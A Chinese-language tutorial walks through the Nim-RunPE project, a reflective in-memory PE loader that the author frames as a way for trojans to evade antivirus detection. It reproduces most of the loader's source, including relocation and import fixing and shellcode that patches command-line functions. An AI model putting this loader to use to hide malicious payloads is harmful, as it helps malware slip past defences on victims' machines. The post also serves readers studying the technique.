RunPE
RunPE
RunPE顾名思义,就是将dll或者exe等PE文件直接从内存中加载到木马的内存中去执行,而不需要LoadLibrary等函数,因此可以避免某些杀软的检测。
在学习之前一定要学习一遍文件的PE结构,我们接下来要做的事也是差不多按照PE结构来解析文件,然后执行。
0x01 原理和思路
我们的大体思路如下
内存加载PE文件
读取PE文件,进行解析
申请内存 ImageBase作为内存基地址,sizeofimage作为长度
pe复制到内存
解析Section的地址并将Section复制到内存中
基于重定位表修改内存
解析导入表,加载所需的Dll
跳转到入口地址AddressOfEntryPoint,执行PE文件
解析导入表,加载所需的Dll
此时我们可以遍历导出表,避免GetProAddress的使用,避免某些杀软的检测。
另外,dll和exe文件加载过程中还有一点不同,在于入口函数,exe不需要dllmain函数,直接根据PE结构然后计算按获取入口地址即可。
0x02 代码实现
代码可以参考windows_hack_teach/用户层/4/内存直接加载运行 at master · Gilfoylex/windows_hack_teach (github.com)
0x03 项目推荐
nim的项目可以看S3cur3Th1sSh1t/Nim-RunPE:从内存中反射式PE加载的Nim实现 (github.com)
详细分析Nim-RunPE
我们一起来分析一下nim的项目,因为之前对nim并没有太了解过,所以写的会相对比较详细。
import winim
import ptr_math
首先是导入库,作者在项目主页也说了需要安装以下依赖项:nimble install ptr_math winim
var success: BOOL
接下来定义success变量,被声明为BOOL类型,在Nim语言中,BOOL类型实际上是一个枚举类型,它有两个可能的值:TRUE
和FALSE
。这种类型可以用于表示逻辑真假值。
when defined(args):
const toLoadfromMem = slurp"C:\\windows\\system32\\cmd.exe"
else:
const toLoadfromMem = slurp"C:\\windows\\system32\\calc.exe"
这段代码使用了Nim语言中的条件编译指令,它会根据args
是否定义来决定加载哪个文件到内存中。
其中,defined(args)
是一个条件编译器指令,它判断args
是否已经定义。如果已经定义,则执行when defined(args)
后面的代码块;否则,执行else
后面的代码块。
具体解释如下:
defined(args)
:这是一个条件编译指令,它用于判断args
是否已经定义。如果已经定义,则条件成立,执行when defined(args)
后面的代码块;否则,条件不成立,执行else
后面的代码块。const toLoadfromMem = slurp"C:\\windows\\system32\\cmd.exe"
:在条件成立的情况下,即args
已经定义,会将C:\windows\system32\cmd.exe
文件中的内容读取到内存中,并赋值给常量toLoadfromMem
。这里使用了slurp
过程来读取文件中的内容。const toLoadfromMem = slurp"C:\\windows\\system32\\calc.exe"
:在条件不成立的情况下,即args
没有定义,会将C:\windows\system32\calc.exe
文件中的内容读取到内存中,并赋值给常量toLoadfromMem
。
在项目处,我们以可以看到作者对两个不同的编译方式进行了解释。
when defined(args):
const exeArgs = "/c whoami"
else:
const exeArgs = ""
这句话是用来在定义参数时执行cmd命令时的参数。
func toByteSeq*(str: string): seq[byte] {.inline.} =
## Converts a string to the corresponding byte sequence.
@(str.toOpenArrayByte(0, str.high))
这里定义函数toByteSeq,用于将字符串转换为相应的字节序列。
when defined(args):
proc patchMemory*(targetAddr: pointer, data: openArray[byte]): void =
var oldProtect: DWORD
VirtualProtect(targetAddr, cast[SIZE_T](len(data)), PAGE_READWRITE, cast[PDWORD](addr(oldProtect)))
copyMem(targetAddr, unsafeAddr data[0], len(data))
VirtualProtect(targetAddr, cast[SIZE_T](len(data)), oldProtect, cast[PDWORD](addr(oldProtect)))
when defined(args):
proc patchArgFunctionMemory*(funcAddr: pointer, pNewCommandLine: pointer): void =
when defined x86:
var shellcode: seq[byte] = @[byte(0xb8)] # movabs rax, new_cmd
else:
var shellcode: seq[byte] = @[byte(0x48), byte(0xb8)] # movabs rax, new_cmd
# add new_cmd addr to shellcode
for t in cast[array[sizeOf(pointer), byte]](pNewCommandLine):
shellcode.add t
shellcode.add(byte(0xc3)) # ret
patchMemory(funcAddr, shellcode)
这段代码是Nim语言中的一些过程定义。这些过程用于在内存中修改数据,特别是用于修改目标地址的内存和修改函数地址的内存。
第一个过程patchMemory
用于修改目标地址的内存。它使用VirtualProtect
函数修改目标地址的内存保护属性,然后使用copyMem
函数将数据复制到目标地址,最后再恢复原始的内存保护属性。
第二个过程patchArgFunctionMemory
用于修改函数地址的内存,以实现参数传递功能。它根据不同的架构生成不同的shellcode,并将新的命令行地址添加到shellcode中。最后,它调用了patchMemory
过程来修改函数地址的内存。
这些过程都被包含在defined(args)
条件编译块中,这意味着它们只会在代码中定义了args
宏时才会被编译和执行。
var memloadBytes = toByteSeq(toLoadfromMem)
var shellcodePtr: ptr = memloadBytes[0].addr
还记得最初定义的toLoadfromMem吗,它根据我们有无参数的值分别是calc和cmd。在这里我们将字符串转成了字符数组,并且获取地址。
proc getNtHdrs*(pe_buffer: ptr BYTE): ptr BYTE =
if pe_buffer == nil:
return nil
var idh: ptr IMAGE_DOS_HEADER = cast[ptr IMAGE_DOS_HEADER](pe_buffer)
if idh.e_magic != IMAGE_DOS_SIGNATURE:
return nil
let kMaxOffset: LONG = 1024
var pe_offset: LONG = idh.e_lfanew
if pe_offset > kMaxOffset:
return nil
var inh: ptr IMAGE_NT_HEADERS32 = cast[ptr IMAGE_NT_HEADERS32]((
cast[ptr BYTE](pe_buffer) + pe_offset))
if inh.Signature != IMAGE_NT_SIGNATURE:
return nil
return cast[ptr BYTE](inh)
接下来又是一个过程,是一个获取IMAGE_NT_HEADERS 结构体指针的过程。
proc getPeDir*(pe_buffer: PVOID; dir_id: csize_t): ptr IMAGE_DATA_DIRECTORY =
if dir_id >= IMAGE_NUMBEROF_DIRECTORY_ENTRIES:
return nil
var nt_headers: ptr BYTE = getNtHdrs(cast[ptr BYTE](pe_buffer))
if nt_headers == nil:
return nil
var peDir: ptr IMAGE_DATA_DIRECTORY = nil
var nt_header: ptr IMAGE_NT_HEADERS = cast[ptr IMAGE_NT_HEADERS](nt_headers)
peDir = addr((nt_header.OptionalHeader.DataDirectory[dir_id]))
if peDir.VirtualAddress == 0:
return nil
return peDir
还是过程,获取 PE 文件中指定目录项的 IMAGE_DATA_DIRECTORY 结构体指针。
type
BASE_RELOCATION_ENTRY* {.bycopy.} = object
Offset* {.bitsize: 12.}: WORD
Type* {.bitsize: 4.}: WORD
接下来定义一个数据结构,代表着我们的重定位表,两个参数分别是偏移和类型。
proc applyReloc*(newBase: ULONGLONG; oldBase: ULONGLONG; modulePtr: PVOID;
moduleSize: SIZE_T): bool =
echo " [!] Applying Reloc "
var relocDir: ptr IMAGE_DATA_DIRECTORY = getPeDir(modulePtr,
IMAGE_DIRECTORY_ENTRY_BASERELOC)
if relocDir == nil:
return false
var maxSize: csize_t = csize_t(relocDir.Size)
var relocAddr: csize_t = csize_t(relocDir.VirtualAddress)
var reloc: ptr IMAGE_BASE_RELOCATION = nil
var parsedSize: csize_t = 0
while parsedSize < maxSize:
reloc = cast[ptr IMAGE_BASE_RELOCATION]((
size_t(relocAddr) + size_t(parsedSize) + cast[size_t](modulePtr)))
if reloc.VirtualAddress == 0 or reloc.SizeOfBlock == 0:
break
var entriesNum: csize_t = csize_t((reloc.SizeOfBlock - sizeof((IMAGE_BASE_RELOCATION)))) div
csize_t(sizeof((BASE_RELOCATION_ENTRY)))
var page: csize_t = csize_t(reloc.VirtualAddress)
var entry: ptr BASE_RELOCATION_ENTRY = cast[ptr BASE_RELOCATION_ENTRY]((
cast[size_t](reloc) + sizeof((IMAGE_BASE_RELOCATION))))
var i: csize_t = 0
while i < entriesNum:
var offset: csize_t = entry.Offset
var entryType: csize_t = entry.Type
var reloc_field: csize_t = page + offset
if entry == nil or entryType == 0:
break
if entryType != RELOC_32BIT_FIELD:
echo " [!] Not supported relocations format at ", cast[cint](i), " ", cast[cint](entryType)
return false
if size_t(reloc_field) >= moduleSize:
echo " [-] Out of Bound Field: ", reloc_field
return false
var relocateAddr: ptr csize_t = cast[ptr csize_t]((
cast[size_t](modulePtr) + size_t(reloc_field)))
echo " [V] Apply Reloc Field at ", repr(relocateAddr)
(relocateAddr[]) = ((relocateAddr[]) - csize_t(oldBase) + csize_t(newBase))
entry = cast[ptr BASE_RELOCATION_ENTRY]((
cast[size_t](entry) + sizeof((BASE_RELOCATION_ENTRY))))
inc(i)
inc(parsedSize, reloc.SizeOfBlock)
return parsedSize != 0
这段 Nim 代码定义了一个名为 applyReloc
的过程,用于应用基址重定位(Base Relocation)。
该过程接受以下参数:
newBase: ULONGLONG
:新的基地址,用于替换原始模块的基地址。oldBase: ULONGLONG
:旧的基地址,需要被替换的原始模块的基地址。modulePtr: PVOID
:指向模块内存的指针。moduleSize: SIZE_T
:模块的大小。
在过程中,通过 getPeDir
过程获取基址重定位表所在的数据目录项,并检查是否成功获取。然后,通过循环遍历基址重定位表,解析每个重定位项并进行相应的修正操作。
具体步骤如下:
- 获取基址重定位表的大小和虚拟地址。
- 创建一个指针
reloc
,指向当前重定位项的内存地址。 - 检查当前重定位项的虚拟地址和块大小是否为零,如果是,则退出循环。
- 计算当前重定位项中包含的重定位项数量。
- 记录当前重定位项的页地址。
- 创建指针
entry
,指向当前重定位项中的第一个重定位条目。 - 循环遍历重定位项中的所有重定位条目。
- 获取重定位条目的偏移量和类型。
- 根据重定位条目的类型进行判断,如果不是 32 位字段类型,则输出错误信息并返回失败。
- 检查要修正的字段是否超出了模块的大小范围,如果是,则输出错误信息并返回失败。
- 将要修正的字段的地址转换为指针类型
relocateAddr
。 - 输出修正前的字段地址,并应用基址重定位操作,将其修正为新的基地址。
- 更新重定位条目的指针,指向下一个重定位条目。
- 增加计数器
i
。 - 增加已解析的字节数
parsedSize
。 - 如果全部重定位项都已处理完毕,则退出循环。
- 返回是否成功解析了重定位项。
总之,这个过程用于遍历基址重定位表中的每个重定位项,并根据重定位类型对相应的字段进行修正,以实现模块的基址重定位。
proc fixIAT*(modulePtr: PVOID, exeArgs: Stringable): bool =
echo "[+] Fix Import Address Table\n"
var importsDir: ptr IMAGE_DATA_DIRECTORY = getPeDir(modulePtr,
IMAGE_DIRECTORY_ENTRY_IMPORT)
if importsDir == nil:
return false
var maxSize: csize_t = cast[csize_t](importsDir.Size)
var impAddr: csize_t = cast[csize_t](importsDir.VirtualAddress)
var lib_desc: ptr IMAGE_IMPORT_DESCRIPTOR
var parsedSize: csize_t = 0
while parsedSize < maxSize:
lib_desc = cast[ptr IMAGE_IMPORT_DESCRIPTOR]((
impAddr + parsedSize + cast[uint64](modulePtr)))
if (lib_desc.OriginalFirstThunk == 0) and (lib_desc.FirstThunk == 0):
break
var libname: LPSTR = cast[LPSTR](cast[ULONGLONG](modulePtr) + lib_desc.Name)
echo " [+] Import DLL: ", $libname
var call_via: csize_t = cast[csize_t](lib_desc.FirstThunk)
var thunk_addr: csize_t = cast[csize_t](lib_desc.OriginalFirstThunk)
if thunk_addr == 0:
thunk_addr = csize_t(lib_desc.FirstThunk)
var offsetField: csize_t = 0
var offsetThunk: csize_t = 0
var hmodule: HMODULE = LoadLibraryA(libname)
when defined(args):
var commandStr: string
var exeArgsPassed = false
if len(exeArgs) > 0:
commandStr = " " & exeArgs # in case commands are passed we have to prepend at least a space so that argv[1] is the first part of exeArgs
exeArgsPassed = true
if exeArgsPassed:
# patch _wcmdln and _acmdln if they are present in the import to make exeArgs working for some C++ binaries
var wcmdlenaddr = GetProcAddress(hmodule,"_wcmdln")
if wcmdlenaddr != NULL:
echo " Found _wcmdln -> patching with exeArgs"
var newCmd = newWideCString(commandStr) # we have to prepend
patchMemory(wcmdlenaddr, cast[array[sizeOf(pointer), byte]](newCmd))
var acmdlenaddr = GetProcAddress(hmodule,"_acmdln")
if acmdlenaddr != NULL:
echo " Found _wcmdln -> patching with exeArgs"
var newCmd = &(commandStr)
patchMemory(acmdlenaddr, cast[array[sizeOf(pointer), byte]](newCmd))
while true:
var fieldThunk: PIMAGE_THUNK_DATA = cast[PIMAGE_THUNK_DATA]((
cast[csize_t](modulePtr) + offsetField + call_via))
var orginThunk: PIMAGE_THUNK_DATA = cast[PIMAGE_THUNK_DATA]((
cast[csize_t](modulePtr) + offsetThunk + thunk_addr))
var boolvar: bool
if ((orginThunk.u1.Ordinal and IMAGE_ORDINAL_FLAG32) != 0):
boolvar = true
elif((orginThunk.u1.Ordinal and IMAGE_ORDINAL_FLAG64) != 0):
boolvar = true
if (boolvar):
var libaddr: size_t = cast[size_t](GetProcAddress(LoadLibraryA(libname),cast[LPSTR]((orginThunk.u1.Ordinal and 0xFFFF))))
fieldThunk.u1.Function = ULONGLONG(libaddr)
echo " [V] API ord: ", (orginThunk.u1.Ordinal and 0xFFFF)
if fieldThunk.u1.Function == 0:
break
if fieldThunk.u1.Function == orginThunk.u1.Function:
var nameData: PIMAGE_IMPORT_BY_NAME = cast[PIMAGE_IMPORT_BY_NAME](orginThunk.u1.AddressOfData)
var byname: PIMAGE_IMPORT_BY_NAME = cast[PIMAGE_IMPORT_BY_NAME](cast[ULONGLONG](modulePtr) + cast[DWORD](nameData))
var func_name: LPCSTR = cast[LPCSTR](addr byname.Name)
var libaddr: csize_t = cast[csize_t](GetProcAddress(hmodule,func_name))
echo " [V] API: ", func_name
fieldThunk.u1.Function = ULONGLONG(libaddr)
when defined(args):
# patch common Win32 functions to get the command line
if exeArgsPassed and "GetCommandLineW" == $$func_name:
echo " [>] Patching function to pass exeArgs: ", func_name
patchArgFunctionMemory(cast[pointer](libaddr), cast[pointer](newWideCString(commandStr)))
if exeArgsPassed and $$"GetCommandLineA" == func_name:
echo " [>] Patching function to pass exeArgs: ", func_name
patchArgFunctionMemory(cast[pointer](libaddr), cast[pointer](&commandStr))
inc(offsetField, sizeof((IMAGE_THUNK_DATA)))
inc(offsetThunk, sizeof((IMAGE_THUNK_DATA)))
inc(parsedSize, sizeof((IMAGE_IMPORT_DESCRIPTOR)))
return true
- 获取PE文件的导入目录表(IMAGE_DATA_DIRECTORY)。
- 遍历导入目录表中的每个导入描述符(IMAGE_IMPORT_DESCRIPTOR)。
- 对于每个导入描述符,获取导入的DLL名称,并加载该DLL。
- 遍历导入描述符中的每个函数地址表项(IMAGE_THUNK_DATA)。
- 判断函数地址表项是否为序号导入(通过判断Ordinal标志位)。
- 如果是序号导入,则通过GetProcAddress函数获取函数地址,并将修复后的地址写入函数地址表项。
- 如果是名称导入,则通过GetProcAddress函数获取函数地址,并将修复后的地址写入函数地址表项。
- 如果传入了参数exeArgs,则对特定的函数进行修复,以支持传递参数给函数。
- 逐步增加偏移量,继续遍历下一个函数地址表项,直到遍历完所有函数地址表项。
- 增加偏移量,继续遍历下一个导入描述符,直到遍历完所有导入描述符。
- 返回修复结果。
总之,这段代码的作用是遍历模块的导入表,加载每个导入的 DLL 并修正 IAT 条目,以确保正确的函数调用。
下面是代码的总体思路:
首先,代码使用Winim库中的VirtualAlloc
函数在进程的虚拟地址空间中申请一段连续的内存空间,大小为要加载的PE文件的大小。然后,代码使用Winim库中的ReadFile
函数从指定路径中读取PE文件的内容,将其写入到刚刚申请的内存空间中。
接着,代码解析PE头部信息,获取程序入口点和需要进行重定位的地址列表等重要信息。如果需要进行重定位,则通过ptr_math库中提供的指针加法运算,将加载的基址与重定位表中保存的偏移量相加,获得需要修复的地址。然后,代码会在内存中修改这些地址的内容,使得它们指向正确的位置。
之后,代码会根据PE头部信息,遍历导入表中的函数列表,获取对应的函数地址,并将其写入到内存中。最后,代码调用TLS回调函数和程序入口点,开始执行PE文件中的程序代码。
(还是c++看着舒服.......)